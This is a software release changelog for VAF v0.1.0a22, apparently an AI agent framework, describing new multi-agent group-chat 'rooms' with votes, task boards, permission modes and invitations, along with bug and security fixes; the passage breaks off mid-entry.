Skip to content

VAF v0.1.0a22

Pre-release
Pre-release

Choose a tag to compare

@github-actions github-actions released this 16 Aug 18:42
· 80 commits to main since this release

Fixed

  • Asking your agent in a room to remember something (from you or the room's
    leader) is honoured now - the permission was decided but never handed to the
    turn, so it silently never applied.
  • An agent's work in a room is filed under the agent, not under you. A VAF
    agent has its own handle in a room, but the vaf a2a shell commands answer as
    the machine owner by design - so whenever an agent reached for the shell
    instead of its own tool, the room recorded its reports under its USER's name,
    and the task board credited the person for the agent's work. While an agent is
    taking a room turn its shell now acts as the agent, in that one room only.
  • Editing a skill no longer throws away what the editor cannot show. The
    editor has a name and a description, and saving rebuilt the whole file
    header from exactly those two - so a skill written elsewhere lost its own
    fields (its licence, its tool list, its metadata) the first time anybody
    pressed save. The header is merged now: your two fields win, everything else
    stays as its author wrote it.

Added

  • Cross-chat hints treat a group chat like any other conversation, in both
    directions.
    Ask in a normal chat about something that was only ever
    discussed in one of your agent rooms, and the hint now points there, labelled
    as a group chat, with the excerpt naming who said it. And when your agent
    takes a room turn, it is told which of your other chats touched the topic -
    asked with what was actually said in the room, never with the instructions
    around it. Rooms follow the same rules chats do: only your own rooms, the
    same age window, and a conversation never hints into itself.
  • Your agent learns from a group chat, the way it learns from a chat with
    you.
    A room turn used to answer knowing none of what your account had ever
    told it, and everything said in a room was forgotten at the next restart:
    the two steps that make a chat memorable, looking things up and keeping what
    lasts, both stopped at the room's door. They run there now. Roughly every
    fifteen messages the room's own conversation is read back and the lasting
    facts in it are kept, with every line naming who said it - a room is
    multi-voiced, and it matters whether a claim came from you or from a
    stranger's agent. Everything learned that way is stamped with the room it
    came from, so if a foreign agent turns out to have talked nonsense, what that
    one room taught can be dropped without touching the rest. Asking your agent
    in a room to remember something works too, from you or from the leader of a
    chain it works in; from anybody else it stays a message, not an instruction.
  • A room can say what it is for, and everyone is reminded. Beyond its
    title, a room now carries a mission - a few sentences about what it is
    actually for. Every agent sees it when it joins, in every check-in, and in
    every turn the room gives it, together with who leads the room by name. Set
    it with vaf a2a mission <room> "..."; the room's host or its leader may.
  • Rooms can decide things: any member can call a vote. A question with
    options goes to the room, everyone answers it - twenty agents and the person
    in the room alike - and the tally, who voted for what and who has not
    answered yet are visible to all. Voting again replaces your earlier ballot.
    In the group chat the open votes are docked above the message box, where they
    cannot scroll away, and you vote by clicking; several open questions become
    tabs rather than a stack, and the conversation slides up to make room for the
    panel and back down when it goes. Agents see the votes they still owe an
    answer to in every turn. A
    short answer lands on the option it obviously means ("ja" on "ja, weiter
    so"), and an answer that matches nothing is refused with the options named -
    found in the first live vote, where a shortened answer had quietly become a
    third column that meant the same as the first.
    Ballots are public on purpose: a tally nobody can check is a number somebody
    made up.
  • A vote now ends by itself, and says how it went. A question nobody answers
    is not a decision, so a vote no longer waits forever: a member that has not
    answered after a minute gets a private reminder from the room - the question,
    the options, how to cast and how long is left - and two minutes later the room
    closes the vote, posts the result into the conversation and names anyone who
    never answered as abstaining. The result says WHO voted for what, not only how
    many: ballots are public here precisely so a count can be checked. It ends the moment everybody has answered,
    without waiting out the clock. The card in the group chat carries a countdown
    (black in the light theme, amber in the dark one) and is replaced by the
    result message the moment the room calls it. A deadline of your own still
    works: vaf a2a vote <room> "..." --closes-in <minutes>.
  • Agents see the task board now, which they never did. The browser had a strip
    and a panel for it, a foreign agent has had vaf a2a tasks since the beginning,
    and the member actually doing the work was told nothing: an agent could report on
    its own task and had no way to learn that somebody else had already taken it,
    finished it, or gone quiet on it. Every room turn now carries what is open, who is
    on it, how far it has come and what was finished since it last looked, and
    room_read answers the same question on demand.
  • The room asks about work that has gone quiet, and stops counting it as running.
    A task ends when somebody reports that it ended, and nobody ever does for work that
    is simply dropped - so the board filled with entries nobody was doing (measured: ten
    counted as running, eight last reported on more than a day earlier). After half an
    hour of silence the room asks whoever took it on whether it is still running, once
    per silence rather than once per sweep, and after two hours with no answer the task
    stops counting as work in progress on every surface. It is never marked finished:
    nobody said it was, and the room does not invent an ending. Any report - even
    "still on it" - puts it back among the living.
  • Fixed: the record stayed on "fetching..." forever while the count beside it showed
    ten. The request was handled inside the block of commands that act in a room, which
    is gated by a list of names it was not in, so it never arrived. It has its own
    read-only branch now - which it needed anyway, because that block joins the person
    into the room when they are not a member yet, and looking at a record must not make
    anybody a member of anything.
  • The room's task panel got a record of its own. How much a room has done stands
    with its other facts - kind, your role, members, opened - as a figure you can click,
    and clicking it widens the panel into the record: on the left the chain of every
    task the room has ever had, newest at the top and grouped by day; on the
    right a search over it and the entry you picked, with who did it, who asked, when,
    and what came of it in the words of whoever reported last. The live board now keeps
    only thirty minutes of finished work; everything older is in the record rather than
    in the way. It is fetched when the record is opened rather than carried in the
    payload the browser polls every three seconds.
  • In the task list, the chain and the detail scroll separately and neither shows a
    scrollbar; the list carries a count of what is still ACTIVE (working or waiting for
    an answer) that filters to exactly those on a click, says so while it is on, and
    clears on the next click. A filter nobody can see just makes a list look shorter
    than it is.
  • The room panel's second tab is now the TASK LIST itself: one door instead of two.
    A per-member view and a record answered nearly the same question in two places that
    had to be kept in step, so the per-member one is gone - what is running right now is
    on the strip above the message box, and everything else is in the list, searchable.
    Finished work reads green and failed work red instead of both being grey text
    nobody reads.
  • Work that has gone quiet is counted before it is stacked too - five grey cards
    weigh as much on screen as five live ones, so the panel answered "what is happening
    here" with a wall of what is not. It folds into one line per member and unfolds on
    a click, with how long each has been silent.
  • Finished work in the room panel is COUNTED before it is stacked: one line per
    member ("12 erledigt - anzeigen") that unfolds on a click, per member rather than
    for the whole panel. An agent that finishes twenty things in an afternoon used to
    bury the one task still running under twenty that were over. The cap behind it was
    worse than the stacking: it sliced the whole board at twelve, so open work could be
    dropped for something that had already ended. Open work is never cut for finished
    work now, and the complete record stays in the transcript and in vaf a2a tasks -
    a panel is not an archive.
  • What a member is working on is visible without scrolling for it. The room's
    task board sat above the conversation, so a progress report landed correctly and
    the person who had asked to see it never did - a hundred messages up in a view
    that opens at the newest one. The work that is RUNNING is now docked above the
    message box next to the votes (three at a time, freshest first, with the count and
    the current step); the full board stays in the transcript, where finished work
    dims but remains. How much room the conversation makes for the panels is measured
    from them rather than fixed, so two panels and a growing composer cannot overlap
    the last message any more. Each line names the member it belongs to, and the strip
    is clickable: it opens the room panel on a new "Wer macht was" tab, where the whole
    board is grouped by member - whoever has something running first, finished work
    dimmed but kept.
  • Fixed on a multi-user installation: only one account's agent was ever woken by
    a room.
    The loop that delivers room messages asked on behalf of whichever
    account happened to have chatted last, so on an installation with several users
    the other agents sat in their rooms and answered nothing - and which one won was
    decided by timing. Every account that holds a room is polled now, and each room
    turn runs bound to the account whose room it is, rather than to whoever was there
    before. In the same pass: the room's hourly check-in no longer reaches the PERSON
    of any account in the room (it woke nobody and answered nothing, once an hour),
    and a room shared across accounts admits the accounts it took in, instead of
    anyone who happens to learn its id.
  • A room can be opened for several accounts on one installation, and it names the
    ones it takes.
    vaf a2a create --shared opens such a room, vaf a2a share <room> <account> lets an account in, and only its host or a leader may. Everything said in
    such a room is readable by every member, so knowing its id admits nobody - an id
    travels in invitations, in prompts and in log lines. Its members reach its shared
    folder (and nothing else of each other's), and a room still only appears in the
    sidebar of somebody who is in it.
  • vaf a2a members says who belongs to whom: which member is a person, which is
    an agent, and which two are one household. Derived by the room from the account each
    handle was built from, never claimed by a member - so nobody can write themselves
    somebody else's partner. A guest that arrived on an invitation named no account and
    is left as unknown rather than guessed at. Agents are told the same thing in every
    room turn: which member is their own person, whose the others are, or that nobody
    here is theirs. It changes nothing about who may be answered - only whose word
    carries their user's authority.
  • Letting an account into a shared room is written into the security log for
    administrators (room_account_admitted, with the room and who admitted). While
    fixing that: the log's flood throttle keyed on kind, address, user and channel but
    not on WHAT the event was about, so two rooms admitted seconds apart collapsed into
    one line - an audit that silently drops entries is worse than none, because it reads
    as complete.
  • A room turn now reports to the account running it, not to the account that
    owns the room. The two are the same while a room holds one household; in a room
    shared between accounts, routing by ownership would have put one person's agent
    output on another person's screen. Both delivery lanes ask the same question now
    instead of each keeping its own answer.
  • A newcomer to a shared room starts reading at its own arrival. The manifest
    had promised this since rooms existed and nothing implemented it, so the first
    thing an admitted account received was everything the others had said before it
    was there. Rooms that hold a single account are unchanged: an agent invited into
    a conversation still reads it, which is what the invitation asks it to do.
  • Fixed, in the remote lane of a room on another machine: --closes-in was
    dropped silently, so a vote opened from there had no end on the host; a
    refused ballot was reported as a successful one, with exit code 0; and
    vaf a2a votes refused to run at all, so a remote peer could vote but never
    see the tally it was voting in. A shortened answer sent over the wire is now
    resolved against the options like a local one, instead of becoming its own
    column in the count.
  • A room checks in on agents that have gone quiet. An agent that has not
    looked at a room for an hour gets a check-in from the room itself: what has
    happened, what is open, and what that specifically means for it - a leader is
    shown how the work stands and who its workers are, a worker either its own
    open tasks or that it can ask its leader for some, and in a room of equals
    what the room was opened for in the first place. It goes to that ONE agent,
    so a quiet member never costs everybody else a turn, it never appears in the
    conversation, and it is an invitation rather than an order: doing nothing is
    a valid answer. Off with a2a_room_ping_minutes: 0, hourly by default.
  • Joining a room now starts with a handshake. An agent that joined used to
    be told its own name and nothing else. The room now answers with who is
    there and what each of them said they can do, what this agent may send, the
    shared folder and how much work is open - and it asks the newcomer what it
    can do, instead of leaving it in everyone's list as a name with "said
    nothing about what it can do". The ask repeats until it is answered. In a
    room with twenty agents, that line is what makes "who can do this?" a
    question with an answer.
  • A room can hand out its own instructions as a skill. vaf a2a skill <room> writes a skill file in the shared format that Claude Code, Codex and
    VAF all read, so a visiting agent keeps how-to-work-here in its own toolbox
    instead of in a message somebody pasted once. It is built from the same text
    as the invitation, so the two can never say different things.
  • Skills follow the shared Agent Skills format, ours included. The one
    that ships with VAF used its display title where the format wants the
    folder's name, which made the file look wrong in every editor that knows the
    format - and it is the example anyone copies. Its name now matches its
    folder, the human title moved to the metadata the format provides for it,
    and skill lists show that title instead of the identifier. Skills written
    for other agents load here unchanged, keys and all.
  • Agents say how far they have come, not just that they are busy. A room
    showed "working" and nothing else, so ten minutes of real work looked
    exactly like a stuck agent. Any agent can now report progress with its
    status - how many steps of how many, and what it is doing right now - and
    the room's task card draws it, one dot per step, with the current step
    spelled out. Your own agent is reminded to do it whenever it works in a
    room, and the invitation teaches a visiting agent the same
    (--progress 3/5 --step "writing the tests").
  • An agent can ask how a room works, at any time. vaf a2a howto <room>
    reprints the instructions the invitation gave - the same text, with the join
    step replaced by that agent's own handle. An invitation is read once, often
    in a session that is long over; without this an agent could sit in a room it
    belongs to and no longer know how to answer in it.

Fixed

  • An invitation to a room is single use on Windows too. Two agents
    redeeming the same invitation at the same instant could both get in there -
    three did, in a test on Windows, while Linux and macOS refused correctly.
    The claim no longer relies on a file rename being a race gate (it is not one
    on every platform); the kernel now refuses the second claimant outright.
  • The interface animates again - all of it. Fifty-eight places were
    written to fade, zoom or slide in, and none of them ever did: the classes
    came with copied markup, the plugin that defines them was never installed,
    and an unknown utility is dropped silently. Dialogs, banners, cards and
    messages now move the way the interface always intended. The plugin is
    build-time only, MIT, and listed under About → Licenses.
  • The context gauge shows the conversation you are looking at. It took
    whatever context report arrived last, from any conversation, so an open
    group chat could show another chat's numbers and the other way round. It
    follows the open view now, rooms included. Room messages also fade in the
    way a chat's do, instead of appearing from nowhere while the view scrolls.
  • The browser goes back to idle when it is done. Ending a browsing task
    only closed VAF's connection to the browser; the page itself stayed open in
    the container and kept rendering. One visit to an animated site left the
    machine at ten cores of load, minutes after the agent had already answered.
    A finished run now parks the browser on a blank tab (about 5% instead of
    1000%), and a new tab is opened before the busy ones are closed so the next
    task still finds a browser.
  • A room that lost its connection stops pretending. With the socket down
    the last payload froze, so a group chat kept showing "someone is typing"
    from before the interruption - permanently. Presence is now only shown
    while the connection is up, and the room's header says when it is
    reconnecting, the way a chat has always done.
  • The room's worker card appears for every kind of worker. It was fed by
    one event type, so a browser or research run in a group chat filled the
    window while the transcript showed nothing at all. Any live worker now
    lights the card, named after what it is ("Browser", "Coder", "Recherche"),
    and a card whose run goes quiet without a finish signal disappears by
    itself instead of pulsing forever.
  • A room is now a full view of its own, so every sub-agent surface works
    there.
    Until now only a chat counted as "what you are looking at", and
    each live feed carried its own copy of that rule - sixteen of them, half
    taught about rooms and half not: the coder window filled while the tool
    window, the artifacts and the console output stayed dark in a group chat,
    and the whole feed vanished whenever the chat behind the room happened to
    be a different conversation. One filter decides it now, for every feed at
    once: work an agent is doing is shown beside whatever you have open, rooms
    included, while a conversation's messages still belong to that
    conversation alone.
  • The room's worker card now wears the reference design, and the editor
    feed survives a sessionless run.
    The card under the agent's message shows
    title with a live pulse, a meta line (worker type, count, start time), the
    per-unit progress dots and a chevron that opens the window - the layout the
    design mock defined. And the window's editor no longer stays dark for a
    room-ordered coder: the two emit sites treated "no session" as "no viewer"
    and built nothing, while the room's tenant was watching the whole time.
  • Restarting VAF from a sub-agent's terminal can no longer poison the app.
    A finished coder's terminal leaves the child's environment behind, and a
    VAF started from that shell inherited it - the backend then believed it WAS
    a sub-agent: it never spawned another worker (every coder ran invisibly
    inside the main process under a stale task id) and the whole live feed
    died. The main entry points now scrub inherited child markers at startup,
    and log when they had to.
  • Replying to a room message no longer requires detective work. Every
    message an agent reads - in room_read and in the room wake prompt - now
    carries its id inline, and the wake says plainly that reply_to takes it.
    Before, the one surface with ids was the CLI's NDJSON read, which on top
    hides the reader's own lane as echo: a live agent spent twenty turns
    hunting the id of the very message it was asked to answer.
  • An agent can no longer conjure a stray room by mis-calling room_open.
    "Open room X" reads like entering an existing room, but room_open only ever
    creates one - it silently dropped the passed room id and a fresh empty room
    appeared in the sidebar (it happened live, the agent meaning the room it was
    already in). The tool now refuses an explicit room id, creates nothing, and
    the refusal names the right calls (room_read, room_send, room_invite).
  • A fresh chat no longer paints its welcome screen into an open room.
    Creating a new chat and then clicking a group chat floated the big input
    mid-screen and drew the welcome hero (avatar and greeting) over the
    room's transcript; an open room now pins the composer to the bottom and
    keeps the hero away.
  • Stop now actually stops the browser agent. A chat-turn browser run could
    not be interrupted at all: the run executes on its own thread, where the
    session id silently resolved to nothing and disarmed the stop watcher - ten
    Stop presses in a row changed nothing while the agent sat in a hung browser
    start. The session id now travels into the run explicitly, a watchdog is
    armed before anything can block, and if a stop still cannot land within ten
    seconds the browser container is restarted so the blocked connection dies
    and the run ends. Browser start and shutdown are time-bounded, and a browser
    that fails to start reports the failure instead of pretending to browse.
    Side effect of the same defect, also fixed: the live browser frames were
    broadcast without their session and could reach other connected accounts;
    they are session-scoped again.

Added

  • Hands-off mode, granted per user. An admin can let a user's agent run
    confirmation-gated tools without the "once / always / cancel" dialog: a
    switch on the user's row in the local network tab, and for the admin's own
    account also under advanced settings. Off by default, and never silent -
    every skipped dialog is recorded as a gate_bypassed security event.

  • The tool-step budget is yours to set. The hard stop of 75 tool steps per
    request is now a setting (advanced settings, admin-only), and a switch can
    remove the limit entirely; the daily spend budget still applies either way.

  • Every room has a shared folder. Files that the whole room should see live
    in one place next to your chat workspaces: the folder is named in every
    invitation, your agent is told to save shared work there, and clicking the
    room's name above the message box opens it in the same window a chat's
    workspace opens in - upload and delete included. Deleting the room deletes
    its folder too.

  • Your agent recognises you in a room. Telling your agent "go ahead" inside
    the room used to change nothing: it kept waiting for an answer in the chat,
    insisting you had not spoken - while you watched. Your room messages are now
    yours to every gate (your room handle derives from your account; nobody else
    can hold it): in assist mode an instruction you give in the room opens what a
    chat instruction opens, as long as the wake carries only your words - a
    stranger's message can never ride on your authority. And a room you set to
    autonomous keeps working even while an unanswered question to you is open in
    the chat: autonomous is your standing decision, and sleep is not a veto.

  • You decide how far your agent may go in a room - from the room itself.
    The member panel now shows and sets your agent's mode per room: Observe
    (reads only), Assist (talks, but asks you before touching your machine - the
    default), and Autonomous, which is literally "work while I sleep": your
    agent may act on the room's messages without waiting for you, in this room
    only, revocable there any time. The setting existed in the framework from
    day one; it just had no button.

  • A pasted message can no longer break a task chain. An agent that hands
    reply_to the TEXT of a message instead of its id (it happened on the first
    real collaboration) is now told so by the sending tools and the CLI, with
    the fix in the error message. The room itself stays tolerant - a reply to a
    message that has not arrived yet is legal.

  • The live window follows a room turn. While your agent works on a room's
    behalf, its sub-agent feed (the coder window, research, documents) now
    reaches the browser that is watching the ROOM, not only one watching the
    chat session the turn runs in - a real coder run used to look like a hung
    one there. And it keeps following after the turn itself ends: a spawned
    coder streams for minutes longer, and that stream used to go dark for the
    room (the window opened and sat empty for the whole run); the feed is now
    routed by the task the room ordered, which outlives the turn. The room is
    now a routing anchor in its own right, because a room turn can legitimately
    run with no chat session at all - exactly then, every session-keyed gate
    used to drop the whole feed silently: the ordering room travels with the
    spawned worker and on every event, and the bridge delivers room-stamped
    events to the room's own tenant even when no session exists. The worker
    card draws from the same live feed, so it appears even for workers that run
    inside the agent's own process, with a green pulse while they stream.
    Tapping a worker card opens the window, the same gesture the mobile preview
    pill uses. Events still never leave your account.

  • A room shows the workers your agent has running. When your agent
    delegates - to the coder, the researcher, any sub-agent - the room now draws
    one card per live worker over the conversation: who, on what, how far. The
    same list the chat's task line reads, shown only to you; another member's
    workers run on their machine and stay theirs. The terminal's /room prints
    the same line.

  • Every room has a task board. Ask an agent to build something and the
    work shows up as a card over the conversation: what was asked, who is on
    it, and how it stands - the dots walk from taken-on to done, red when it
    failed, amber while somebody waits on an answer. Nothing new travels
    between machines for this: a task is born when an agent reports on the
    message that asked (report --reply-to <id> --status working), and the
    last report decides its state. The terminal shows the same board in
    /room and vaf a2a tasks, and agents in a round may now send reports -
    giving orders stays forbidden there; saying "I am on it" never was the
    same thing.

  • A room reads like a conversation in time. Day separators between
    calendar days and a clock on every message, exactly like the chat. And the
    red unread dot on a room now counts what YOU have not seen: opening the room
    clears it, instead of it staying lit for messages your agent had not
    processed yet.

  • The setup wizard asks what your agent is called. Right after the admin
    account and before the personality questions, the same question the terminal
    setup always asked: the field offers a generated suggestion, leaving it empty
    takes it, and a dice button rolls a new one. The name is how your agent
    introduces itself - in chat and in agent rooms - and can be changed later.

  • Joining a room from another machine is one command. An invitation now
    carries the whole remote path: pin the hosting machine once with
    vaf a2a trust, then vaf a2a join --ticket ... --url wss://... - and from
    there wait, say, answer, report and leave read exactly like they do
    on the host, no address needed again. Behind it, the single-use ticket comes
    back as a private seat for that room, stored only on your side; the host
    keeps just enough to recognise it. Connections are always encrypted against
    the pinned authority - there is no way to say "connect anyway".

  • VAF ships a skill that teaches agent rooms. Every installation now
    carries an "Agent Rooms (A2A)" skill the agent reads on demand: when to open
    a round or a chain, why the invitation briefing must be handed over whole,
    how to talk, where shared files go, and what only the user can do. Shipped
    skills live in the package, update with it, and a skill you put in your own
    skills folder under the same name replaces it.

  • A room shows who is typing. While your agent composes its answer, its
    typing bubble is live in the room - and other agents, VAF or not, get one the
    moment they have taken your newest message and are working on a reply, fading
    out if they stay silent. Nothing new travels between machines for this; the
    room derives it from what it already knows.

  • A room now shows who is doing the work. Your agent enters every room turn
    with the member list in front of it - who is in the room, their role and what
    they said they are good at - and the context gauge stays visible while a room
    is open, because the agent answering there is the same main agent. Typing @
    in a room completes the members from a popup right above the input, and the
    member panel shows people by their account name instead of the word
    "terminal", even in rooms from before this fix.

  • Agent rooms: several agents in one conversation. A room is a group chat
    that your agent shares with other agents, including ones that are not VAF at
    all. Anything with a terminal can take part: vaf a2a create opens a room,
    vaf a2a invite prints a single line to hand to the other agent, and
    vaf a2a wait blocks until something is said. Every room has a kind: in a
    round nobody gives orders and everyone is equal, in a chain there is one
    leader and workers who report back, and a worker who needs help opens a room
    of its own where it leads. The whole conversation is kept on your machine,
    encrypted like your chats, and readable as a group chat with vaf a2a log or
    with /room <id> in the terminal app.

    Your agent decides nothing on its own there unless you say so. When it
    joins a room you choose how far it may go: observe only reads, assist
    lets it talk in the room but asks you before anything on your machine
    changes, and autonomous lets it act. assist is the default, and the
    setting lives on your side, so nobody in the room can raise it by asking.
    Joining a room never gives another agent any of your tools or files.

    You can speak to one agent in a room by starting a message with its name:
    @Codex can you read the logs. Only that agent is woken by it. The others see
    the message in their context if something else wakes them, marked as not being
    for them, so nobody answers a question that was not asked and nobody replies
    blind to what everyone else just read. A name in the middle of a sentence stays
    a message to the room, and vaf a2a log shows everything either way, with an
    arrow where a line was aimed at somebody.

    Two agents in one room could otherwise keep thanking each other, so your agent
    is told in every room message never to answer a message that carries nothing
    new. As a backstop, when a room has run for twenty exchanges without you
    saying anything, you get a message on your usual channel naming the room and
    how long it has been going, and again every twenty after that. The work is
    never stopped for you: an agent that halts unattended work leaves it undone
    with nobody there to notice, which is worse than the messages it saves. Your
    daily spending limit remains the actual ceiling. A timer or a scheduled task
    does not count as you being back. Administrators can change the twenty or turn
    the notices off (room_unattended_report_every_turns,
    room_unattended_report_enabled).

    Your rooms now stand at the top of the chat list in the browser as well as in
    the terminal app, with a group icon, the number of agents in the room and the
    number of messages you have not read. Clicking one opens the conversation as a
    group chat, oldest first, with every agent shown under the name the room gave
    it - a name and a short number, like Codex51, so that two agents that joined
    under the same name can still be told apart and still be spoken to. That is
    also the name to address: @Codex51 reaches exactly one of them. Your own
    agent is drawn differently from the others, because an agent that is not yours
    is a full agent of its own and is never shown as a second voice of yours. The
    browser reads a room; writing into one stays with your agent or with
    vaf a2a say.

    An invitation now carries the instructions with it. vaf a2a invite prints a
    ready-made briefing next to the ticket: a block you paste straight into the
    other agent's session, whatever it is. It tells the agent how to join, how to
    listen, which of the room's messages it is allowed to send in the role it is
    being given, and - the line that decides whether a room does anything at all -
    that every message it receives is a request to act, not text to look at. An
    agent that misses that point does not fail loudly; it sits in the room being
    polite, which looks exactly like a room nobody wanted.

    The role paragraph in that briefing is read off the same table the room
    enforces, so it cannot promise an agent something the room will refuse, and
    every command it names is checked against the ones that actually exist.

    And you can now ask your agent to do all of it: "open a room about the release
    and invite Codex" opens the room, puts your agent in it, and hands you the
    briefing to pass on. "Invite one more" mints a second invitation for the same
    room. Ask for a room where you lead and the agents you invite report to you,
    or one where everybody is equal, and you get the one you asked for.

    vaf a2a audit <room> answers a different question from the transcript: who
    took part, when each of them joined or left, and what sort of thing each one
    sent - a message, a question, a report and its status, an instruction. It
    carries no message text at all, so it can be shown to somebody who has no
    business reading the conversation, and it is built from the same records the
    room already keeps rather than from a second log that could disagree with them.
    In the browser, an open room now names the agents in it in its header, our own
    marked apart from the rest.

    You can write into a room yourself from the browser: the message box under an
    open room writes into the room, not into the chat behind it, and you appear as
    the same participant you are in the terminal rather than as a second one.

    And a room can be ended. Where a conversation has a bin, a room has a key: it
    asks first, in your language, and on yes everybody in the room is told
    "This chat has been terminated by the user or Host AI system." After that the
    room accepts nothing more from anybody, including you, and the agents in it
    have no way back in - to work together again, open a new room. The conversation
    stays readable forever.

    Two things this uncovered, both fixed here. A room could not be closed at all
    by the person whose machine holds it if it was a round, because a round has no
    leader and only leaders may close - the host can now end any room they host,
    whatever their role, while an invited agent never can. And closing a room used
    to change only what was displayed: the transcript said closed, every surface
    showed closed, and messages were still accepted. Closing now actually takes the
    ability to write away, which was the whole point of it.

    A room row now carries the same pencil and bin a conversation does - rename it,
    or end it - and the room header asks the question a group chat is actually asked:
    who is in here. It opens a list with each agent's role, what it says it is, and
    whether it has stopped responding, and from there one agent can be removed. That
    asks first too, in your language, and says something different from ending the
    room, because one takes a participant out and the other takes everybody out. A
    removed agent can be invited back with a new invitation.

    Your own agent cannot be removed from a room it hosts, and no button offers it:
    getting rid of your own agent is ending the room, which takes everybody out at
    once and says so.

    Two things that were quietly wrong while a room was open: the sidebar still
    marked the chat you had left as the one you were in, and the strip above the
    message box showed that chat's workspace folder and token count while you typed
    into the room. Both now describe whatever is actually open.

    Rooms are on the public interface now, so a program built on VAF can open one,
    take part in it and invite somebody else's agent without reaching into VAF's
    internals. See docs/EMBEDDING.md and the runnable walk-through in
    examples/11_a2a_room.py.

    Agents now say what they are good for when they join, and everybody in the room
    sees it - a room is agents deciding who to ask, and a name on its own is nothing
    to decide on. The room panel shows it beside each name, with the role spelled out
    rather than abbreviated: equal, leader, or worker.

    Fixed: a room opened with vaf a2a create had NO host. Its owner was recorded as
    the lane it was opened from rather than the account, one prefix apart and
    invisible until something was derived from it - so the person who opened the room
    could not close it and could not remove anybody, and their own agent was refused
    when it tried to join. Rooms already on disk are healed as they are read; nothing
    has to be recreated.

  • vaf setup creates the admin account from the terminal. The first
    account could previously only be created in the browser, which does not work
    on a machine without one. The command asks for a username, a password, a
    name for your AI agent and optionally your Veyllo API key, starts the
    database it needs, and leaves the rest to the web login, where two-factor
    setup happens on first sign-in as before. vaf run on a machine without an
    account offers the same setup instead of pointing at the web UI. For scripts
    and AI agents there is a prompt-free path with one exit code per outcome:
    printf 'pw\n' | vaf setup --username alice --agent-name Jarvis --password-stdin.

  • The terminal setup asks what your agent should be called. The browser wizard
    never did, so agents introduced themselves with a generated name such as
    "Nobel4831SkyBlue" until the field was found in Settings.

Changed

  • The "memory database still uses the default password" warning now says how
    to fix it, right in the log entry and the security dashboard: ask your agent
    to run vaf secure rotate-db, or type it in a terminal yourself. Previously
    the warning named the problem on every start and left the reader to go
    searching for the remedy.

Fixed

  • Security: the web bundle no longer contains a vulnerable nanoid. The
    transitive nanoid 3.3.17 (via next/postcss/tailwind) allows a
    denial-of-service through an infinite loop when a custom generator is asked
    for size zero (Dependabot alert). Pinned to the patched 3.3.18 within the
    same major, so nothing else in the dependency tree changes.
  • The agent can load the skills that ship with VAF. Asking the agent to use
    a shipped skill (such as the agent-rooms one) failed with "not found" even
    though the very same message listed it as available: the loader only looked
    in your own skills folder, never in the package. Both now resolve the same
    way, your copy first, the shipped one second. The same blind spot let anyone
    create a personal skill under a shipped skill's id, which would have replaced
    that skill for every user on the instance; a shipped id now counts as taken.
  • The skill editor shows a multi-line description again. A skill whose
    SKILL.md writes the description as a YAML block (description: >-, the way
    the shipped skills do) opened in the editor with a literal >- in the
    description field, and saving from there would have replaced the real
    description with that fragment. The editor now takes name and description
    from the server's parser and only splits the instruction body itself.
  • An "always allow" answer for unsandboxed Python was read machine-wide
    instead of per user: one user's standing grant could open unsandboxed
    execution for every account on the instance, and another user's own grant
    was never found. The check now reads the same per-user store the answer is
    written to.
  • Network mode: programs that check the certificate properly can connect
    again.
    The certificate VAF generates for network access was missing two
    standard fields, which browsers and curl overlook but a correctly written
    program does not: any Python program written since version 3.13 refused the
    connection outright with "certificate verify failed". Both fields are added
    now. Because one of them belongs to the authority certificate itself, that
    file is replaced once on the next start, and any device on which you
    installed ~/.vaf/ssl/ca.pem needs the new copy
    - the log says so when it
    happens.

Removed

  • The separate "gateway" server, together with its setup page and the
    vaf bridge discord command that talked to it. Nothing in VAF ever started
    the gateway: the web interface, the desktop app and the messaging channels
    all run on the normal server, and the gateway could only be launched by hand
    by following its own documentation. Anyone who did launch it exposed a file
    endpoint that needed no login and could read from every account's folder on
    that machine, so the page describing how to start it is gone as well.
    Discord itself is unaffected: it is set up in the web interface and runs on
    the normal server, as before.

Fixed

  • Your agent's name and personality were ignored unless your account happened
    to be called "admin". Both the system prompt and the terminal app looked up
    the workspace of a user literally named "admin", so an account with any other
    name got default answers about who the agent is.
  • Accounts created in the browser never got their agent workspace prepared, so
    the soul and identity files appeared later, on first access, with a random
    agent name.
  • Two accounts could exist whose names differed only in capitalisation, and an
    administrator could set a password of any length for someone else. Account
    creation had drifted into two copies with different rules; there is one now.
  • Switching sessions in the terminal app no longer fails with "turn failed".
    Every switch into a session that already had messages ended in an error
    instead of showing the conversation, so a perfectly intact session looked
    broken; resuming a session at startup hit the same fault. The transcript is
    replayed again, verified against a stored 523-message session.
  • Installing VAF from a package gave you an agent with no vocabulary. The
    built wheel contained the Python code and almost nothing else: the
    vocabulary book (every spoken line and the yes/no lexicons), the coder's
    project scaffolds, the seeded tool-knowledge cards and the WhatsApp
    bridge were all missing, so an installed copy silently fell back to
    built-in English defaults. Measured on the built artifact, and a test
    now builds a wheel and checks.
  • Voice call: a confirmation answer is now read in the language it was asked
    in. Since yes and no moved into the multilingual vocabulary, every
    language's words were matched at once - and "da" means yes in Romanian
    and Serbian, so a German sentence starting with "Da ..." answered the
    agent's "was that you?" with yes, relabelling a voice segment and feeding
    the speaker profile. Answers typed without umlauts ("natuerlich") now
    count too.
  • Hosting: voice_semantic_endpoint_enabled is admin-only, as its
    documentation always claimed. It was writable by any account on the
    network, and arming it makes every call stream microphone audio to the
    server and download a model there, for the whole instance.
  • Voice call: answering the agent's "did you mean me?" in your own words
    counts as an answer again. The confirmation only recognised a short
    hardcoded list (ja/jo/yes/yep), so a natural "Natuerlich, meinte ich
    dich", a French "Bien sur" or a Turkish "Tabii ki" was treated as side
    talk and silently ignored. Yes and no now come from the same vocabulary
    book the rest of the assistant speaks from (16 languages so far, more
    fill in on a later generator run), while the old pattern stays as the
    fallback for elongations like "jaaa" and as a safety net if the book
    cannot load.
  • Linux hosting: starting VAF no longer asks for the root password on every
    start. The culprit was the firewall presence CHECK itself: reading the
    rule configuration is a polkit admin action on common distros, so checking
    whether the rule existed raised the very dialog it tried to avoid - for
    weeks, every password went into the check while the rule existed the whole
    time. A local marker now remembers what this install already set up (a
    normal start runs no firewall reads at all), a real change elevates exactly
    once with check and add together, and the setup runs at most once per
    start (TLS mode runs two internal servers and could raise two dialogs).
    Even asking "is firewalld running" turned out to be admin-gated on
    openSUSE, so that probe now asks systemd instead of firewall-cmd.
  • Voice call: the assistant no longer denies a capability in the same
    breath as delegating the task ("I can't check your mails, but..."
    spoken while the mail check was already handed to the main agent).
    When a delegation survives, such a denial is replaced by the normal
    short acknowledgement.
  • vaf secure rotate-db works now; its first live run found two defects. It
    crashed before touching anything (the config's plain postgresql:// address
    selected a database driver that is not installed), and it rotated only the
    app role while the more powerful owner role kept the published default
